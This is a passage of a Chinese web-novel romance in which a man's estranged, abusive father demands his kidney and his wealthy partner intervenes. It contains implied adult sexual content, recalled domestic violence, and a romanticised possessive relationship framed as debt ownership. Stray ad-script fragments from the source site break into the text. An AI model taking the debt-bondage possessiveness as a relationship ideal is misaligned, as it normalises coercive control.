杯中水被一饮而尽,傅砚观走到沙发边,将睡成一团的人抱起来,没睡安稳的人睁开眼睛,见是傅砚观后又将眼睛闭上,呢喃道:“傅砚观...” “嗯?”傅砚观没听清。 沈辞下意识搂住傅砚观脖子,又重复了一遍:“你还疼不疼了...不要哭,我给你揉揉。” 成功把人拐回到自己床上后,傅砚观盖上被子,心满意足的看着沈辞:“我可没哭,倒是你,动不动就要掉几颗眼泪。” 沈辞砸吧着嘴,在傅砚观怀里寻了个舒服的位置,手里没有被子抓了,总感觉少了些什么,沈辞拧眉,胡乱抓了一通后,握了个能将掌心填的满满当当的东西。 而正准备入睡的傅砚观身躯一震。 12.奇葩的父母 沈辞第二天醒的时候整个人都不好了,而反观傅砚观,嘴角带笑,一脸惬意的靠着床头。 秦溯来时给带了早饭,傅砚观胃口不错的喝了两碗汤,脸色都比昨天多了几分血色。 “你这...”秦溯一脸奇怪,盯着傅砚观看了许久,最后感叹,“这医院的技术这么好吗?昨天还一副死样,今天就春心荡漾了?” 神他妈的春心荡漾! 沈辞愤恨的喝下一口粥,然后盯着自己右手发呆,原本白皙修长的手不知经历了什么,此时又红又肿,指尖还有些颤抖。 他不敢去看傅砚观,拼命想降低自己的存在感,可偏偏总有人不想让他如意。 比如某个不待见他的人。 秦溯若有所思的瞥了他一眼,随口道:“看来陪护的人选对了,果然对患者有帮助,不仅能照顾人,还能‘伺候’人。” 沈辞脸烧的通红,明明很舒适的沙发好像突然长了钉子一样,让他坐立难安。秦溯的目光越来越露骨,沈辞直接放下勺子,逃一般的钻进卫生间。 他听到外面傅砚观与秦溯说着什么,隔着一道门听不太清,但里面内容估计只能是他。 沈辞洗了把脸,看着自己红肿的右手,思绪飘回昨晚。他原本睡的香甜,结果被傅砚观硬生生的亲醒,没等反应过来身上就被一个硬物戳的直疼。 随后他就被迫和人做了一次莫名其妙的运动。 因为医院东西不齐全,傅砚观到也算是有些理智,只不过这理智不多,有些地方不能碰,但总会有其它地方代替。 所以一向在外面雷厉风行的傅总变得肆无忌惮,且毫无底线的索取。 而最后的结果就是沈辞的胳膊酸了,手心差点磨破皮。 失忆后刚开始接触傅砚观时,沈辞甚至觉得傅砚观可能有些性冷淡,因为这人是真的一心扑在工作上,就好像对他提不起兴趣一样。 他刚从医院出来,傅砚观就出差了,把他丢给了管家,那个时候他对傅砚观就有些怨气。 思考着这个男朋友合不合格。 他有一个小本子,上面记满了傅砚观的各种负分项,也是直到今日上面的分数才开始变成正数。 沈辞犹豫着昨晚的事要不要给傅砚观减分,毕竟他确实被折腾不轻,右手的胀痛比在课堂上挨了顿老师的手板都疼。 可...虽然被折腾的厉害,但是他不得不承认,他也有点舒服。 最终这减分还是没打下去,反而默默的加了一分,至于傅砚观也彻底在沈辞心中扭转印象,从最开始的性冷淡,变成了不懂得节制的人。 秦溯在外面不知是在跟傅砚观聊工作,还是什么,总之坐了半个小时也没有要走的意思,而沈辞在这期间就一直坐在马桶上。期间傅砚观给他发消息,让他出来,他也只气鼓鼓的回了个“滚”字。 直到外面响起关门声,沈辞才将门推开条缝隙,瞥见该走的人已经走了后,立刻跑出去和傅砚观算账。 “牛马都没有这么使的!你说你大半夜的发什么疯?也不怕被人看见。” 傅砚观挑眉:“你不舒服?” 沈辞哑口无言,用力捏了下拳头。他确实没什么可说的,谁让这事是互惠互利的事。 而且...傅砚观那个样子他其实还挺喜欢的。 小插曲暂时过去,为了避免再发生昨晚那种意外,沈辞今晚更加坚定的睡沙发,甚至是一直盯着傅砚观,等对方睡着他才闭眼睛。 结果第二天一早他又出现在了傅砚观床上。 对此,沈辞也是无话可说了,干脆也就彻底摆烂,由着傅砚观折腾。 - 在医院住了三天,借着这个机会,沈辞干脆让傅砚观做了个全身检查。虽然公司每年都有体检,可总不会特别全面,而且时隔这么久了,难保中间不会有什么问题。 由于检查报告要下午才能出来,沈辞便让傅砚观先回去了,再怎么说这人现在也是个病人,还是他当这苦力比较好。 中午十二点,医院依旧是人挤着人,沈辞坐在休息区的椅子上,一边刷手机,一边百无聊赖的等着。 而就在这时前面的人群突然有些骚动,好像是有患者因为什么原因崩溃了。沈辞本不想凑这热闹,可奈何心里好奇,也跟着旁人一起走过去。 只见人堆里,一个男人公然在医院里抽着烟,旁边是不停哭泣的女人。 “再去其他医院看看吧,儿子还这么小,他才刚考上大学啊,要是不管他,他会死的!!” 女人哀求着男人,哭的声泪俱下,沈辞不免也有些同情,只是他人的家室,即便他同情也帮不上什么,在疾病面前,别人的同情和怜悯是最没有用的了。 沈辞不愿多留,这种场面看多了总会让人难过,他既然帮不上忙,还不如尽早离开比较好。只是还没等他走远,就被一道声音叫住。 “沈辞?” 喊他的人似乎还有些不确定,沈辞也有几分意外,他回过头疑惑的望向声源处,结果看到的竟然是那个一直在抽烟的男人。 男人的脸有些熟悉,沈辞微张着嘴,直勾勾的盯着男人,而对方在却认他就是沈辞后,连忙丢了手里的烟,朝着沈辞快速走过来。 “沈辞,是我啊,我是爸爸。” 一句‘爸爸’让沈辞本就皱着的眉拧的更加深了,他下意识挣开对方抓着他的手,往后退了两步与其保持安全距离。 他盯着男人看了许久,算是确认了面前这人就是他的亲生父亲沈长余。可是自从他五岁时父母离婚后,他每年也就见对方一两面,之后更是随着年龄增长学业加重,好几年也见不了一面。 他都快忘了沈长余长什么样子了。 “你有什么事吗?” 沈辞没感受过父爱,对于沈长余自然亲近不起来,说句难听的,他甚至早就不把沈长余当父亲了。 沈长余也没管沈辞是不是与他亲近,他眉眼中浮现出笑意,就像是绝望之中看见希望了一样。 他拉着沈辞,直接说出自己的目的:“你弟弟得了尿毒症,需要换肾,你赶紧去配型!” 沈长余说着就又要去拉沈辞,一旁哭的不行的女人也渐渐停了哭声,看向沈辞的目光如同狼看见肉。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沈辞再次躲开沈长余的手,突然笑了,反问道:“我哪来的弟弟?” 沈长余皱眉:“我儿子自然就是你弟弟,你小时候还见过的,忘了吗?” 沈长余不说还好,说了之后沈辞只觉得更加厌恶。倒不是他生性凉薄,只是他与沈长余之间实在没有半点父子之情。 父母离婚之后,他一直跟着舅舅生活,由于没有什么钱,所以有一次沈辞去找了沈长余,想要一些生活费,结果得到的却是一顿骂。 那时沈长余在做什么?他在抱着他那个所谓的弟弟去买冰淇淋,而即便那时他就在旁边,沈长余都没说买两份。 这样的人,现在到是一口一个弟弟了。 沈辞不愿与这样的人过多纠缠,只想尽快离开。只是狼一旦看见猎物,又怎么会轻易放其离去呢。 梁兰发了疯一样的跑过去拦住沈辞去路,红着眼睛祈求道:“沈辞,你帮帮阿姨,救救我儿子,他得了尿毒症,要是不换肾根本活不了啊!我求求你,你有什么要求都尽管提,我都可以满足的!!” 四周围着的人越来越多,也有护士上来劝说,但人在抓住最后一根稻草后,又怎会轻易松手。 沈辞不喜欢被旁人打量,他抽出梁兰抓着他的手,耐着性子道:“我虽然和你儿子有血缘关系,但是也需要配型...” “那就去配型。”沈辞话没说完,就被沈长余打断,他直接帮沈辞做了决定,丝毫不在意沈辞的想法,“你弟弟耽误不得,你现在就去做配型,如果成功了,尽快换肾给他。” 这话说的极其残忍,就连周围的人都皱起眉头,有些不赞同,可沈长余却半点没觉得不妥。 围观群众议论纷纷,沈辞突然觉得没意思极了,他再次开口,表明自己的立场:“我不会去做配型,更不会换肾给他。” “沈长余,从我出生到现在,你养过我一天吗?尽过当父亲的责任吗?现在张口就想要我一颗肾,是你疯了还是我疯了?!” “你...你敢这么跟你老子说话?!”沈长余显然是气急了,直接当着所有人的面一巴掌抽过去。沈辞躲闪不急,硬生生挨了这巴掌。 脸颊瞬间肿起来,沈辞用舌头舔了舔嘴角,越发觉得讽刺。 沈长余大喊:“你现在就跟我去做配型,要是给你弟弟耽误了,我饶不了你!” 走廊里的人越来越多,各科室的医生也纷纷过来劝阻,沈辞只觉的越来越好笑,可要是真让他笑他又笑不出来。 “这位家属请你冷静,你这样不顾他人意愿的行为属于逼迫,对方是可以报警的。” 周围围着的医生很多,但也都是在旁边劝一劝,真正上来拦着的竟然是之前与沈辞发生过口角的赵倩。 沈辞看着赵倩扯开沈长余的手,然后挡在他身前,个子虽没有沈长余高,可那气势却半点不输对方,目光甚至更加让人不寒而栗。 但沈长余向来是个无赖,今天这不讲道理的人他更是当定了。 “沈辞,不救兄弟那就跟畜生无疑,往后你活的也不安心,我最后再给你一次机会,跟我走,不然别怪我不给你留脸!” 13.配型成功也不换 沈长余是个地地道道的小县城人,从小家里穷也没读过多少书,一向蛮横且不讲理。 在他眼里,老子就是天就是地,儿子就应该听他的,他没养沈辞可以,但沈辞不能对他不孝! “沈辞,我说话你听见没有?一颗肾而已,也不是要你两颗。” 沈辞轻笑:“是吗?只是一颗肾而已。” “如果两颗都能换给他,你是不是会更高兴,这样你的好儿子就是个正常人了。” “你他妈...” 沈长余火气上来了,还想再动手,被梁兰拉住,她赔了个笑脸,然后当着所有人的面给沈辞跪下了。 “小辞,阿姨知道这件事你接受不了,但我们也是没有办法了,你爸他就是嘴硬,但心是软的,这些年一直惦念你在外面过的好不好呢,还说要把你接回来好一家团聚。” “我知道你怨我们,但是你弟弟是无辜的啊!小辞,你帮帮阿姨,求求你帮帮我们!阿姨会记着你一辈子的!” 如果是沈长余那样暴力施压,沈辞会毫不犹豫的拒绝,可一个女人在他面前哭成这样,不光是他,就连周围的人也开始有些松动。 沈辞听到有人在说。 “如果少一颗肾还能活着吗?能的话还是应该救别人一命。” “是啊,毕竟是亲弟弟,血浓于水啊。” 人总是两边倒的,上一秒再帮着这边说话,下一秒就帮着另一边了。 沈辞只觉得浑身发冷,他在想要是今天他拒绝,是不是会被人骂死。尽管他其实没有这个义务。 梁兰哭的越老越凄惨,整个走廊都是他的声音,她见沈辞没有理她,直接对着他用力的磕下去。 额头磕到瓷砖上,发出骇人的声音,每磕一下都伴随着一句乞求。 有几个心软的人上前扶着梁兰,忍不住道:“你就去配个型吧,也不一定能配上,就给你爸和阿姨一点希望,如果配上了换颗肾就活弟弟不是也挺好的吗?” “她怎么说也是你长辈,你就这样看着她在这给你磕头?你也不怕折了寿。” 正所谓墙倒众人推,有一人附和,就会有百人附和。沈辞只觉得头痛欲裂,他想要辩解,想说这些人根本不值得他付出一颗肾。 可是他吵不过他们。 身上的血液像是被冻住了一样,让他浑身发抖。人被气急了总会出现排外反应。 沈辞不停的往后退,他想躲到安全的地方,一个只有他自己的地方。沈长余还想过来抓他,结果走了两步却突然停了下来。 赵倩也时刻关注着沈辞,怕对方出意外,想去扶一把,但也在看见沈辞身后出现的人后收手。 沈辞只想尽快逃离,可没退几步就撞到了一个人身上,他慌乱的想要道歉,结果那人却先一步扶着他的肩膀,随后抱了个满怀。 “这么久不回来,我还以为检查出了什么严重的病,让你不敢回来见我。” 傅砚观轻轻拍着沈辞后背,哄人之余目光在那对夫妻脸上扫过,只一眼就让梁兰那嚎啕大哭的声音弱了下来。 沈辞缩在他怀里,抓着他衣服的手越来越紧,傅砚观只觉的心口一抽一抽的疼。 他开口问道:“怎么抖成这样?” 出来时幸亏带了件外套,傅砚观将手中的黑色大衣披到沈辞身上,又安慰了人几句,等沈辞情绪平复下来才正视沈长余二人。 “我听说,你们想要他的肾。” 傅砚观原本想趁着沈辞来取检查报告的这段时间在病房里开个会,这几天有沈辞看着他确实一直没再碰工作了,但这么多年养成的习惯也不是一朝一夕就能改的。 一旦不工作就总觉得哪哪都不对。 有时傅砚观自己都觉得有些奇葩。 只是这场会议到底没开多久,在接到赵倩消息时傅砚观就匆匆结束了会议,虽然沈辞现在变了不少,可傅砚观对这人的印象更多的还是以前唯唯诺诺的时候。 他紧赶慢赶的过去,就怕沈辞挨欺负。 结果正如他所料。 沈辞在傅砚观怀里靠了一会儿,但到底这件事不是躲了就行的,不知是他相通了,还是有傅砚观在他有了底气。 他再次看向沈长余,而同时沈长余也在打量他和傅砚观。 梁兰不愿放弃这好不容易得来的希望,即便有些惧怕傅砚观,也还是开口道:“小辞,你就帮帮你弟弟吧。” 沈辞开口道:“凭什么?” 傅砚观握紧沈辞的手,在沈长余开口前道:“首先这种事情不管是有血缘关系的人还是陌生人都有资格拒绝,我可以明确的告诉你们,即便是配型成功,我也不会同意换肾。” 沈长余反驳道:“你不同意?你凭什么不同意?” 傅砚观道:“就凭沈辞欠我钱,他把自己抵给我了,所以他身上所有东西,包括一根头发丝都是我说了算,不然你们把欠我的钱还了,到时候你愿意干什么就干什么。” 沈辞安静的站在一旁,没有插话,他以为傅砚观说的话是为了骗沈长余的,毕竟眼下按照沈长余这个无赖性子,估计很难脱身。 可让他怎么都没想到的是,傅砚观所说的这些竟然都是真的。并在不久后会得到印证。 在丢失的那段记忆中,他可不就是欠傅砚观钱,说句难听的他跟被买回来的物品、宠物,有什么区别。 沈长余仍不死心,拧着眉问道:“他欠你多少钱?” 傅砚观淡声道:“三千万,你要帮他还吗?” 沈辞紧盯着沈长余,不知道是不是还抱有一丝期待,可在看见对方眼里明晃晃的嫌弃后,沈辞觉得他真的是疯了。 竟然妄想一个从小就抛弃他的人心疼他。 梁兰的哭声也逐渐停了下来,不愿意再搭理沈辞,儿子的医药费他们还在凑,几十万拿出来都费劲,更何况是几千万。 医生开始疏散围观的群众,赵倩看向傅砚观,开口道:“这里我处理,你如果觉得身体没事了,就先出院吧。” 傅砚观点头应下,在所有人的注视下带着沈辞离开了。后续的事情就由赵倩留下处理。 而沈长余则是始终盯着沈辞离开的方向,他太久没见这个儿子了,对于沈辞是一点都不了解。但他也不是傻子,不会任由别人说两句话就轻易相信。 他不管沈辞是不是真的欠钱,反正他想要只是沈辞的一个肾。 - 傅砚观换衣服的动作很快,在沈辞还在收拾东西时就已经脱下了病号服。 他上前拉住沈辞的手:“别收拾了,我一会儿让助理来拿,咱们先走。” 沈辞知道傅砚观这么急切的带他走是什么原因,他想表示自己没事,可拗不过对方,最后还是被傅砚观带走了。 昏迷时是秦溯送他来的,眼下出院突然,自然也只能给秦溯打电话让他来接。 今日阳光正好,此时晌午,太阳正对着医院上方,阳光打在沈辞头顶,给头发平添了一丝光泽。 傅砚观站在远处打电话,沈辞就踩着楼梯边缘一下一下的蹭着鞋底。 明明是在正午,他也冷的要命。傅砚观站在逆光的方向。沈辞望过去,被阳光刺的有些睁不开眼睛,只能别过头,闷声道:“傅砚观,抱抱我。” 电话还未打完,傅砚观抿唇,走过去单手将沈辞搂进怀里,一边用手拍着,一边同电话里的秦溯道:“我就在医院门口等你,尽量快点。” 两个男人在医院门口相拥自然会吸引许多目光,但沈辞现在什么都顾不得了,只想被人紧紧抱住,好用来感受自己还活着。 他缓缓开口:“傅砚观...我看见那人的病例本了,上面的名字是沈唯一...唯一,多讽刺的名字啊。” 明明有两个孩子,却在同是男孩儿的情况下给老二取名唯一,这是什么意思,很难不让人多想。 “为什么我不是那个唯一,是不是我永远都是那个多余的人?” 傅砚观纠正沈辞:“你一直都是那个唯一,独一无二的沈辞,我最喜欢的沈辞。” “....你什么时候这么会说情话了。” 沈辞情绪好了一些,从傅砚观怀里探出头,但手还是一直抓着傅砚观的衣服。医院门前一直有车走走停停,直到一辆红色奥迪停在两人面前。 秦溯降下车窗,开口道:“好歹是人来人往的医院,你们两个能不能注意一点?” 沈辞连忙松开傅砚观,没再像以往一样笑呵呵的怼回去。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >上车时,沈辞先一步拉开后排车门,对着傅砚观道:“我想一个人在后面,你能不能?” “好。” 傅砚观应下,将那件黑色大衣递给沈辞,轻声道,“路程有点远,可以在后面睡一会儿。” “嗯。”沈辞没问要去哪,上了车后就盯着车窗外,没有了往日的健谈。秦溯通过后视镜看了沈辞几眼,然后小声问道:“他怎么了?死气沉沉的...” 傅砚观道:“开你的车。” 沈辞的事,傅砚观不怎么想跟别人说,况且就算要说,现在也不是时机。 秦溯比了个闭嘴的动作,按照傅砚观给的地址安静开车。但还是在等红灯得空挡通过后视镜偷瞄沈辞。 虽然和沈辞接触不多,他也不算特别喜欢这人,并且觉得他配不上傅砚观。但通过这次住院一事,他也看出来了,沈辞是真的在乎傅砚观,不是那种小情儿为了钱耍心机,装关心。 目的地确实如傅砚观所说有点远,沈辞坐在后面昏昏欲睡,但不知是心里藏着事,还是伤心过度,总是睡不实。 最后睡的头也疼,身体也不舒服。 车里开着空调,温度适宜,但沈辞还是紧紧裹着傅砚观的大衣,就好像这样就能感觉到是男人在抱他一样。 不知是埋藏在心里的自卑感,还是什么,沈辞宁可舍近求远,也不愿让傅砚观陪着他看见他现在的狼狈。 不知开了多久,等沈辞再睁开眼睛时车已经停了,而后入目的就是一个复古的小院。 很显然,这已经不在祈江市内了。 “你们聊吧,开了一路车我得先睡会儿。” 秦溯直接将车钥匙丢给傅砚观,不客气的道:“记得把车停好。” 傅砚观道:“你不走?” 虽知道傅砚观是故意的,但秦溯还是卑微的道:“不是吧傅总,我至少给您开了一路的车,总不能卸磨杀驴吧。” 傅砚观懒的理他:“快滚。” 秦溯也不愿意多留,小情侣肯定还有话要说,看在沈辞那么伤心的份上,他今天就不当这个电灯泡了。 这座宅子是傅砚观几年前买的,装修布置都是找的专业的人,里面娱乐设施一应俱全,后院还有一个天然温泉池。 他和秦溯每当累极了的时候都会过来放松几天。 房子是几年前买的,那个时候虽然也已经有沈辞了,但傅砚观却一次都没带人来过。 这里算是他自己的私人空间,除了亲近之人,外人一律拒之门外。 那时候,沈辞对他来说确实算是外人。 “傅砚观。”停好车后,沈辞轻轻叫住准备往院子里走的人,有些失落的道,“我今天...是不是太矫情了。” 傅砚观带他到这来,很明显是想哄他开心,可其实屁大点事,哪至于这么折腾,尤其傅砚观才刚出院,如果再因为他出事,那他可就真的没办法原谅自己了。 “其实没什么的,我只是太久没见他了,突然一见面他就想...”沈辞不自然的笑笑,强忍着鼻腔的酸涩继续说道,“我一直以为人身体里的器官都很贵,怎么也值几十万,但今天才知道,原来我的这么脸颊,一颗肾...只值一巴掌。” 脸颊依旧肿的有些夸张,沈辞却像是不怕疼一样抬手按了按。 “真疼啊,和小时候的皮带一样疼。” “傅砚观,你爸爸会打你吗?会认为你是个累赘,只会拖累他吗?” 沈辞问完,又自己回答:“肯定不会,你这么优秀,你爸爸一定很喜欢你。” “沈辞。”傅砚观开口,“到我身边来。” 沈辞挪动脚步,却仅走了一步,“我不喜欢别人叫我沈辞,我们在一起这么久了,你为什么总是这样疏远的叫我?” 沈辞话说完,又狠狠咬了下自己舌尖,他真的觉得今天的他糟糕透了。 不光在小事上计较,还总是掉眼泪。他不是也在叫傅砚观大名吗。真的如傅砚观所言,他被惯坏了。 “对不起,你当我没说。”沈辞再次开口道歉,可情绪就在对不起三个字说出来后,直接崩不住了,他干脆直接蹲到地上,脸埋在胳膊里,哭的肩膀颤抖。 “傅砚观,你打我一顿吧,我想疼一疼。” 14.沈辞是最好的宝宝 傅砚观的小院在村子最偏僻的角落,左邻右舍都没有人,所以整条马路只有沈辞二人。 不会有人出来看热闹,傅砚观也就由着沈辞哭了个够。 活了三十一年,这算是他头一次体会到什么叫心疼,和往常不一样,以前的心疼可能是因为一个物件坏了,也可能是因为熬了几天大夜的成果泡汤了。 那种心疼是对物品的感觉,可能过后就忘了。 而现在心口的抽疼是随着面前人的哭声一点点加强。 他的这颗心脏学会了感知沈辞的情绪。 二人一站一蹲,就这样过了好一会儿,沈辞才稍稍稳定了一些,一直没听到傅砚观说话,沈辞以为对方是嫌他烦了,早就进去了,直到抬起头,与男人四目相对。 “你...”没走。 傅砚观直接就着这个姿势,把人抱起来,边往院子里走,边道:“哭的这么伤心,要是被人看见还以为我欺负你呢。” 小院不算特别大,但相比于普通人家,这里算是小度假山庄了。 秦溯回这里就跟回家一样,早就不知道跑哪享受去了。 沈辞被傅砚观抱着,也不好意思哭了,可哭的时间长了,眼泪还是会不停的往下掉,再加上心里的委屈未消。 院子正中间是一个很大的房子,一共两层,沈辞没心思打量,只把下巴搭在傅砚观肩膀上,眼泪把白衬衫打湿了一块。 心里难受,可被傅砚观抱久了,还是忍不住说了一句:“你劲真大。” 受了委屈的小猪知道和主人开玩笑了,这对傅砚观来说自然是好现象。而为了向沈辞证明,他力气真的很大,傅砚观又将人向上颠了两下。 穿过正厅,路过游戏室,最里面那间就是傅砚观的卧室。 打开门后,沈辞吸鼻子的声音顿了下,目光很快就被室内的布置吸引了。 不是说有多华丽,而是太简单了。 整个屋子有六十平米,除了床和一些柜子外,就没有什么多余的东西了,整间屋子看起来十分空旷。 但真正吸引沈辞的是屋子正中央的那架钢琴。 傅砚观...还会弹钢琴? 屋内有个不到半米的小冰箱,傅砚观将沈辞放到床上,从冰箱里拿出瓶饮料和一瓶冰水。 他先是拉开易拉罐的拉环,递给沈辞后进了卫生间。等到再出来时,手里拿着的就是一条湿毛巾。 “小辞...”第一次叫还有些不适应,但傅砚观神色如常,眉眼中还带着几分温柔,再加上那磁性的嗓音,算是最好的哄人利器了。 “先敷敷眼睛吧。” 沈辞耳朵有些发红,耳边不断的循环小辞那两个字。 傅砚观不算是第一个这样叫他的人,可却是唯一一个给他不一样感觉的人。 “你也不用勉强...我刚才是被情绪影响的,你还是可以像之前那么叫。” “没关系。”傅砚观强制沈辞脱了鞋,见沈辞不愿意躺下后,干脆按在怀里敷眼睛。 对于名字其实就是个称呼而已,怎么叫都行,可喊了两次“小辞”后,傅砚观又不这么觉得了。 这样叫确实会亲近不少,他甚至喜欢上了喊沈辞的名字。 只是,这种事不是应该礼尚往来吗? 傅砚观道:“我换了称呼,你是不是也应该改一改?” 沈辞被强硬的按着敷眼睛,看不到傅砚观的表情,只能试探着开口:“砚...砚观?” “难听。” 傅砚观不给面子的评价让沈辞犯了难,他虽然不要脸,在那种事上也玩儿的开,可在称呼上还是比较规矩的。 老公,夫君直接叉掉,一时间沈辞竟也想不出什么能称呼人的词。 就在苦恼之时,沈辞感觉屁股被人托住,随后就是一阵凉意。 “唔!你干什么?!” 眼泪被毛巾吸走后,哭意也退了下来,沈辞恢复了几分以往的活泼,察觉到被傅砚观扒掉裤子后,直接挣扎起来,乱踢乱踹间误伤了好几次抱着他的人。 眼睛上的毛巾挣扎时掉了下来,沈辞睁开眼睛时,对上的正是一直盯着他看的傅砚观。 只是他的质问还没说出口,对方就先施压了。 沈辞亲眼看见傅砚观抬起手,然后下一秒屁股就麻了,再然后就是火辣辣的痛感。 “嘶...你他妈干什么?!” 他敢肯定,现在他半边屁股上指定横着一个巴掌印,还是通红通红的那种。 “傅砚观!你是不是有毛病?!” 控诉人的话还没说完,那只大手就又落了下去,只是这次是收着劲的,没有打人的意思,但威胁感却十足。 “别打...” 像小孩子一样被按在怀里教训,沈辞觉得就没有比这更丢脸的了!尤其是他已经24岁了! 傅砚观瞥了眼连脖子都开始变红的人,恶趣味的捏了下紧绷的两团肉。 在沈辞准备反抗之际,开口道:“毛巾拿起来,敷眼睛。” 凭什么! 沈辞横着脖子不想服软,结果在看见傅砚观又抬起手后怂的还是他。 他手忙脚乱的抓着毛巾盖到眼睛上,失去光线后,沈辞有些紧张,他看不到傅砚观的脸,也察觉不带屁股上的手什么时候抽下去。 总之,煎熬死了。 沈辞下意识噘着嘴,傲娇又别扭的小模样让傅砚观越发觉得好笑。 “不是说让我打你一顿吗?现在又变卦了?” 沈辞“哼”了声,没有理会傅砚观的问话,虽然话确实是他说的,但是刚才是刚才,现在是现在。 他一向不讲信用,所以反悔了! 沈辞开口和傅砚观商量:“能不能当我没说过这话?” “不能。”傅砚观果断拒绝。 沈辞整张脸都皱到了一起,他试图说两句讨饶的话,结果还没等开口嘴唇就被堵住了。 “唔...” 铺天盖地的吻落下来,沈辞双手抱着傅砚观脖子,仅僵硬了一瞬后就本能的开始回应。 傅砚观不同于以往那样试探着来,而是不停的索取和撕咬,沈辞回应间呼痛声不停的溢出来。 等到二人分离时,沈辞肿着的就不止是眼睛了。 “你他妈属狗的...”沈辞大口喘着气,下唇上是被某个犬科动物啃出来的牙印,他歪到在傅砚观怀里,眼睛上的毛巾掉下来一半。 傅砚观抱着沈辞,像哄小孩儿一样抱在怀里晃晃,宽大的掌心有一下没一下的轻怕挺翘的两团肉。 上面的手印已经淡了下去。 沈辞被哄的生起困意,没多会儿眼睛就合上了,傅砚观也没着急把人放下来,就这么一直抱着,直到沈辞彻底睡熟。 他给沈辞换了睡衣,盖好被子,怕沈辞在陌生地方睡不安稳,又将那件沈辞裹了一路的大衣拿过来,放到沈辞怀里。 而对方也很给面子的立刻抱住,并像小猪一样拱了拱,整张脸都埋在了大衣里。 沈辞这一觉一直睡到了天黑,身下的床很舒服,睡起来不会很累。只是这人向来不是个安稳的,即便是抱着衣服,大腿也还是骑到了被子上面。 还好换了睡衣,不然要是没穿裤子,傅砚观不敢想象会是什么光景。 沈辞翻了几次身,怀里抱着的衣服就跑到了脑袋上,已经有几分清醒的人将眼睛睁开一条缝隙。 耳边是悠扬而舒缓的音乐。 沈辞伸了个懒腰,将脸上的衣服扯下去,试探着睁开眼睛,原以为会有刺眼的灯光,结果卧室里只开着暖黄色的灯光。 这一觉沈辞丝毫没觉得累,虽然也做了好几个梦,可只要一做噩梦,就会有钢琴声驱散梦境,再给他造一个美梦。 琴音不断,沈辞原以为声音是从外面传来的,但听了半天才发现这声音竟然来自屋内。 脑海中浮现出那架白色的钢琴。 沈辞在床上滚了两圈,眼睛紧盯着面前的一幕,心脏跳的越来越快,好像下一秒就要跳出嗓子眼了。 他可以发誓,面前的这一幕是他见过最漂亮的画面,并且一辈子都不会忘! “傅砚观!” 沈辞连忙下床,鞋都来不及穿就朝着傅砚观跑过去。 而后琴音立刻停止,戴着佛珠的手缓缓抬起,接住飞扑过来的沈辞。 把爱人抱了个满怀,傅砚观只觉得一身的疲惫都扫清了,这三个小时的钢琴没白弹。 只是话虽如此,却还是开口训道:“没铺地毯也没有地热,怎么总是光着脚跑来跑去的?” 沈辞这习惯是一直都有的,前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 段时间傅砚观不就是因为这件事,让张叔把家里上上下下都铺上地毯了。 就怕沈辞来回跑会着凉,或者磕了碰了。 有时傅砚观常常觉得,他这不是包养,也不是交了个男朋友,而是养了个娇滴滴的小公主。 小公主又傲娇又任性,但偏偏可爱的紧,让他想效仿古人,给沈辞打造一副黄金脚链,实施‘金屋藏娇’让沈辞成为他的私有物,不容别人观赏。 “铮!!” 刺耳的声音拉回傅砚观思绪,他看着身旁好奇的沈辞,无奈的笑了笑。 “想弹?” “不想。”刚才已经试过并且还弄出噪音后,沈辞就不想再碰了,他也没有那么喜欢钢琴,但他喜欢看傅砚观弹钢琴。 这人坐在琴凳上,要背挺直,指尖在钢琴上飞舞,就像是城堡里的王子一样。 尤其是戴着佛珠弹琴。 悠扬的琴声再次响起,依旧是沈辞睡着时反复弹奏的那首曲子。 傅砚观侧目,轻声道:“要给我讲讲过去的事吗?” 沈辞微愣,显然是没想到傅砚观会说起这个话题。 以前的事沈辞都烂在了心里,但也没有什么不能说的,更何况是傅砚观,他巴不得傅砚观多了解他一些呢。 只是过去发生太多事了,让他一时不知该从何处讲起。 琴声始终舒缓,傅砚观抬起一只手,穿过沈辞腰间把人提起来,下一秒原本还坐在琴凳上的人就坐到了傅砚观腿上。 并被男人的双手圈在中间。 舒缓的琴音,结实的胸膛,都给了沈辞十足的安全感。 他侧过头亲了下傅砚观嘴角,而后整个人十分放松的靠在傅砚观身上。 “其实也没有什么,我不知道以前有没有跟你说过,我是跟着舅舅长大的。我爸妈在我五岁的时候就离婚了,因为沈长余家暴,总是无缘无故的打我和我妈。” “傅砚观,你知道用牛皮做的皮带吗?那种东西打人特别疼,有一次沈长余喝了酒,抽出皮带就打我,我没来得及躲开,被他用皮带抽到了眼睛。” “那个时候眼前全是血,我妈护着我,也被打的全身是伤,之后沈长余可能也怕闹出人命来停手了,但他却不许我去医院。” “我那个时候差点以为我要瞎了,果然小孩子治愈率是真强。沈长余那么打我,我身上也没怎么留疤。” 傅砚观瞥了眼沈辞,拧眉道:“还笑。” 沈辞脸上的笑意收敛了几分,故作坚强的打趣道:“怎么你好像比我还难过?” 他自然知道傅砚观是心疼他,可发生过的事已经无法再改变了,有时间去心疼他,还不如现在就抱紧他。 不知是不是和沈辞想到一起去了,琴声停了,下一秒沈辞被紧紧的抱在怀里。 一个怀抱,让沈辞的眼睛又想掉眼泪了。 “其实有一点我怎么也想不明白,我之前一直以为沈长余就是这样的人,可后来我发现他并不会对别人也家暴,他对他现在的妻子很好,对他的儿子更好。” “他的坏脾气好像只留给了我和我妈。我不明白,我想我妈可能也不会明白。但是已经不重要了。” 傅砚观道:“人和人之间的关系通常几句话是解释不明白的,也正如你所说,过去的事已经都不重要了,现在你有更好的生活,而那些不愉快的事早晚会淡忘。” “小辞,做错事的是沈长余,你是无辜的,所以不可以用他的错来禁锢自己。” 沈辞似懂非懂的点了下头,随即抬头道:“傅总是在给我讲大道理吗?” 傅砚观道:“是啊,省着你钻牛角尖,我还跟着担心。” 沈辞突然直起身子,笑道:“我突然知道应该管你叫什么了。” 傅砚观挑眉。 沈辞凑过去,轻声道:“爸爸...” “铮!” 钢琴再次发出怪音,只不过这次出自钢琴十级的傅砚观之手。 他古怪的看着沈辞,就在沈辞以为玩笑开过了,傅砚观这个老古板不喜欢这个称呼时,那人突然凑过来。 “小辞,知道怎么弹钢琴最好听吗?” 这什么跟什么? 沈辞疑惑,结果下一秒就听到... “你跪上去,我弹给你听。” 15.别生气了 如果要比说荤话,沈辞不亚于傅砚观,可怕就怕这人顶着一张严肃的脸,然后一本正经的跟你讲这些事情。 